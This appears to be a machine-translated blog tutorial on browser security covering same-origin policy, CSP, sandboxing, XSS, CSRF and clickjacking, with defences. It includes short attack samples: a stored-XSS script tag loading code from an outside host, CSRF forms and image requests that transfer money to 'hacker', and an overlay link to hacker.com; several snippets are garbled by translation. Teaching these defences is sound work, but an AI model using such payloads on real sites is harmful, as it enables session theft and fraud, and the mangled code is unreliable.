Read the mind map clockwise from 1 o ‘clock at 🤣
Same Origin Policy
Two urls are said to be homologous if they share the same protocol, domain name, and port.
Compared to the http://store.company.com/dir/page.html, and the following URL, for example, the source of the results are as follows:
HTTP: / / http://store.company.com/dir2/other.html / / the same, only different path/http://store.company.com/dir/inner/another.html/homology, Only path different HTTP: / / https://store.company.com/secure.html / / failure, different HTTP: / / http://news.company.com/dir/other.html / / failure, Domain name http://store.company.com:81/dir/etc.html/different/failure, port different default port is 80 (http://)Copy the code
Restrictions on the same-origin policy
- Limiting the number of different sources
JavaScript
Script to the currentDOM
Object read and write operations; - Restricts different source sites from reading the current site’s
Cookie
,IndexDB
,LocalStorage
Such data; - Restrict passage
XMLHttpRequest
And other ways to send the site data to different sources of the site.
Due to the limitation of browser same-origin policy, it is difficult to develop and use Web projects. Therefore, in order to ensure both security and flexible development of Web applications, some new technologies have emerged
- Pages can reference third-party sources, but this also exposes a lot of examples
XSS
Therefore, content security policy is introduced on the basis of this opennessCSP
To limit their freedom; - use
XMLHttpRequest
和Fetch
Are unable to directly make cross-domain requests, so the browser introduced cross-domain resource sharing policy on the basis of this strict policyCORS
So that it can safely operate across domains; - Two different sources
DOM
Can not manipulate each other, so the browser has implemented a cross-document message mechanism, so that it can be more secure communication, can passwindow.postMessage
的JavaScript
Interface to different sourcesDOM
To communicate.
Content Security Policy (CSP)
A Content Security Policy (CSP) explicitly tells the client browser which external resources on the current page can be loaded and executed, and which cannot.
You can enable CSP in either of the following ways
-
Configure content-security-policy using the HTTP header. The following configuration indicates that the page allows only the scripts from the current source and https://apis.google.com to be loaded and executed:
Content-Security-Policy: script-src 'self' https://apis.google.com Copy the code
-
Configure through the page
tag:<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://apis.google.com"> Copy the code
CSP restrictions
CSP provides rich restrictions. In addition to limiting the loading and execution of scripts, CSP also has restrictions on other resources, such as:
font-src
: font source;img-src
: Image source;style-src
: style source;
These are just a few examples of common external resource restrictions. For more resource restrictions, see here.
By default, these instructions have a wide range of applications. If you don’t set a specific policy for a directive (for example, font-src), the directive by default runs on the assumption that you specify * as a valid source (for example, you can load fonts from anywhere, without any restrictions.
In addition, you can use default-src to set the default behavior of resource limits, but this only applies to all directives ending in -src. For example, if the following CSP rule is set, only scripts, fonts, images, styles, etc., can be loaded from https://cdn.example.net:
Content-Security-Policy: default-src https://cdn.example.net
Copy the code
CSP configuration items
If you want to configure multiple resource limits of the same type, you need to merge them:
Content-Security-Policy: script-src https://host1.com https://host2.com
Copy the code
Use semicolons (;) to separate resource types:
Content-Security-Policy: script-src https://host1.com; img-src https://host2.com
Copy the code
The source list can be flexibly configured with the following values:
- Protocol:
https:
,data:
; - Host name:
example.com
,example.com:443
; - The path name:
example.com/js
; - Wild card:
*://*.example.com:*
.
You can also specify keywords for the source list, including the following four keywords, which must be enclosed in single quotation marks:
'none'
: Does not perform any matching;'self'
: matches the current source (not its subdomains);'unsafe-inline'
: Inline is allowedJavaScript
和CSS
;'unsafe-eval'
: Allows similar useeval
的text-to-JavaScript
Mechanism.
Example of CSP application
Let’s say you’re running a bank web site and want to make sure that you can only load resources that you write yourself. In this case, first set a default policy (default-src ‘None ‘) that blocks everything, and then build from there.
Assume that this bank website loads all images, styles, and scripts from the CDN on https://cdn.mybank.net and connects to https://api.mybank.com/ via XHR to extract various data. Frames can be used, but only for local pages of the site (no third party sources). There’s no Flash, no fonts, no Extra. The strictest CSP header we can send is:
Content-Security-Policy: default-src 'none'; script-src https://cdn.mybank.net; style-src https://cdn.mybank.net; img-src https://cdn.mybank.net; connect-src https://api.mybank.com; child-src 'self'
Copy the code
Security Sandbox
We know that early browsers were single-process architectures, so that when a TAB dies, it affects the entire browser. Hence the multi-process architecture, which solves this problem by assigning a rendering process to each TAB page.
The work of rendering process is the parsing of HTML, CSS, JavaScript execution, and so on. This part of the content is directly exposed to the user, so it is also the most vulnerable place to be attacked by hackers. If hackers attack here, they may obtain the permission of rendering process, and then threaten the operating system. So you need a wall to keep untrusted code running in an environment that restricts untrusted code from accessing resources outside the quarantine, and the wall is the browser’s security sandbox.
The multi-process browser architecture will be divided into two main parts: the browser kernel and the rendering kernel. The security sandbox limits the access and modification of the operating system resources by the rendering process, and the internal rendering process does not have the ability to read and write the operating system. These are implemented in the browser kernel, including persistent storage, network access and user interaction and a series of functions directly interacting with the operating system. The browser kernel and the rendering kernel have separate responsibilities, and when they need to transfer data, they do so through IPC.
The security sandbox exists to protect the client operating system from hackers, but it does not stop XSS and CSRF.
Cross-site scripting (XSS)
Cross Site Scripting originally stands for CSS, but is called XSS in the security world to distinguish it from the shorthand for Cascading Style Sheet. It refers to a method by which hackers inject malicious scripts into HTML files or DOM to attack users when they browse the page.
Malicious scripts can be injected in three ways.
Storage typeXSS
Attack:
-
First, the hacker takes advantage of the site’s vulnerability to submit a piece of malicious JavaScript code to the site’s database, such as entering a form entry box that reads:
<script src="http://tod.cn/ReFgeasE"></script> Copy the code
-
The user then requests a page from the site that contains a malicious JavaScript script;
-
As the user browses the page, the malicious script can retrieve the page’s cookie information using document.cookie and send it to the malicious server using XMLHttpRequest. Once the malicious server gets the user’s cookie information, You can simulate the user’s login on another computer and then operate.
reflectiveXSS
attack
Malicious JavaScript scripts are part of a request that a user sends to a web site, which then sends malicious JavaScript scripts back to the user. When a malicious JavaScript script is executed in a user’s page, hackers can use the script to do some malicious operations.
Based on theDOM
的 XSS
attack
Often, it is the front-end code that is not rigorous enough to insert untrusted content into the page. Be careful when using apis like.innerhtml,.outerhtml,.appendChild, document.write(), etc., not to insert untrusted data into the page as HTML, Use.innertext,.textContent, and.setAttribute() instead. For example, for code like this: when typing “onclick=alert(‘ XSS ‘) and clicking the generated link, XSS will be prompted:
<div id="link"></div>
<input type="text" id="text" value="" />
<input type="button" value="Button" id="button" onclick="test()" />
<script>
function test() {
let text = document.getElementById('text').value
document.getElementById('link').innerHTML = `<a href="${text}"> link < / a > `
}
</script>
Copy the code
stopXSS
Measures of attack
-
The server filters or transcodes input scripts, such as
-
Using the HttpOnly attribute, the server sets some important cookies to HttpOnly values through the response header, limiting the client browser to obtain these important Cookie information through the document. Cookie;
-
To take full advantage of CSPS, you can configure CSPS with
, which is the most appropriate means for the front-end to prevent XSS.<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> Copy the code
Cross-site Request Forgery (CSRF)
Cross-site Request Forgery (CSRF for short) refers to a cross-site request initiated by a hacker who lures a user to open a hacker’s website using the user’s login status in the hacker’s website.
How does CSRF attack
A typical CSRF attack would look like this:
- The user logs in to website A and retains the login information (
Cookie
); - Induced by hackers to visit B’s website and jump from A to B;
- Web site B makes A request to web site A (this is the following bogus request method), the browser request header carries web site A by default
Cookie
; - After receiving the request, the website server of A verifies that the user is logged in, so it will process the request.
Here is an example to simulate several ways to forge a request. Assumptions:
https://platforma.com/withdraw?account= account name & money = ` transfer amountCopy the code
This is the transfer interface of A certain fund platform. Hackers can attack in the following ways after knowing this interface:
1. Automatic initiationGET
request
The hacker loaded a picture on the page of his own website with a link to the money transfer interface. Therefore, what needs to be done is that as long as A user has just logged in to fund platform A and is induced to click on the hacker’s page at this time, once entering this page, it will automatically initiate GET request to load the picture, and actually request to execute the transfer interface.
<img src=The name "https://platforma.com/withdraw?account=hacker & money = 1000">
Copy the code
2. Automatic initiationPOST
request
This is essentially automatic submission of forms. Here’s the code on the hacker’s site that automatically submits the form once you jump to the hacker’s designated page:
<form action="https://platforma.com/withdraw" method=POST>
<input type="hidden" name="account" value="hacker" />
<input type="hidden" name="money" value="1000" />
</form>
<script> document.forms[0].submit()</script>
Copy the code
3. Click the link to trigger the request
This forgeries the request in much the same way as the first, but puts the request’s interface on the link:
<img src="Links to beautiful pictures." />
<a href=The name "https://platforma.com/withdraw?account=hacker & money = 1000">Click here to see more pictures of beautiful women<a/>
Copy the code
How do I prevent CSRF attacks
-
Set the appropriate SameSite properties for the Cookie. After logging in from website A, the Cookie information set by the server will be returned from the response header, and if the Cookie carries SameSite=strict, it means that the Cookie in the request header of the third-party site is completely disabled. For example, when requesting the interface of website A from website B, The browser’s request header will not carry the Cookie. SameSite also has two additional property values:
Lax
Is the default value to allow third-party sitesGET
Request to carry;None
Carry it under any circumstances;
Here is an example of a set-cookie for a response header:
Set-Cookie: flavor=choco; SameSite=strict Copy the code
-
Origin detection: On the server side, the Origin or Referer attribute value carried in the request header is used to determine whether the request is from the same site, and the server should preferentially detect Origin. For security reasons, in contrast to Referer, Origin contains only the domain name and no path.
-
CSRF Token: The process can be divided into 2 steps:
-
When the browser makes a request to the server, the server generates a CSRF Token. The CSRF Token is a random string generated by the server and then inserted into the returned page, usually in a hidden input box in the form. This protects the CSRF Token from being leaked.
<form action="https://platforma.com/withdraw" method="POST"> <input type="hidden" name="csrf-token" value="nc98P987b"> <input type="text" name="account"> <input type="text" name="money"> <input type="submit"> </form> Copy the code
-
When the browser sends another request (such as a transfer), it needs to submit it with the CSRF Token value.
-
The server verifies whether the CSRF Token is consistent. Requests from third-party websites cannot obtain the CSRF Token value in user pages.
-
ClickJacking
Clickjacking is a means to attack by means of visual deception. In most cases, attackers embed the target website with iframe in their own web pages, and set iframe as transparent through opacity and other means, making it invisible to the naked eye. In this way, when users operate on the attacker’s website, such as clicking a button (the top layer of the button is actually an IFrame), So that the target site is clickjacked.
Protection means that you don’t want your site’s page to be embedded in someone else’s site.
-
Frame busting: If A page is embedded in B via iframe, then the window object will point to the IFrame inside the A page and top will point to the top-level web page (B). Therefore, according to this principle, we can judge that our own page is introduced by iframe and embedded into other pages. If so, the following judgment will make page B directly replace the content of A and display, so that users find themselves cheated.
if(top.location ! =window.location) { top.location = window.location } Copy the code
-
X-frame-options: Controls whether the page can be embedded in other people’s websites via iframe by setting x-frame-options to a property in the page response header. It has three attribute values:
-
Deny indicates that the page is not allowed to be embedded in any page, including the same domain name page.
-
Sameorigin says it will only allow pages embedded within the same domain;
-
Allow-from URI indicates that it can be embedded in a page from a specified source.
-
Click hijacked in essence is through the visual to deceive users, along the way of thinking, and an attack methods and the similar, that is the principle of image cover attack probably is through style cover images in any position of the attacker’s hope, cover logo on a website, for example, when users click on the image will be a link to a site that the attacker.
<a src="https://hacker.com">
<img src="Image link" style="position: absolute; left: 100; top: 100; z-index: 100;"/>
</a>
Copy the code
One way to prevent this type of attack is for the user to check the submitted HTML to see if the tag is likely to surface.
Refer to the article
- Working principle and practice of browser
- Same-origin_policy
- CSP
- White Hat talks about Web security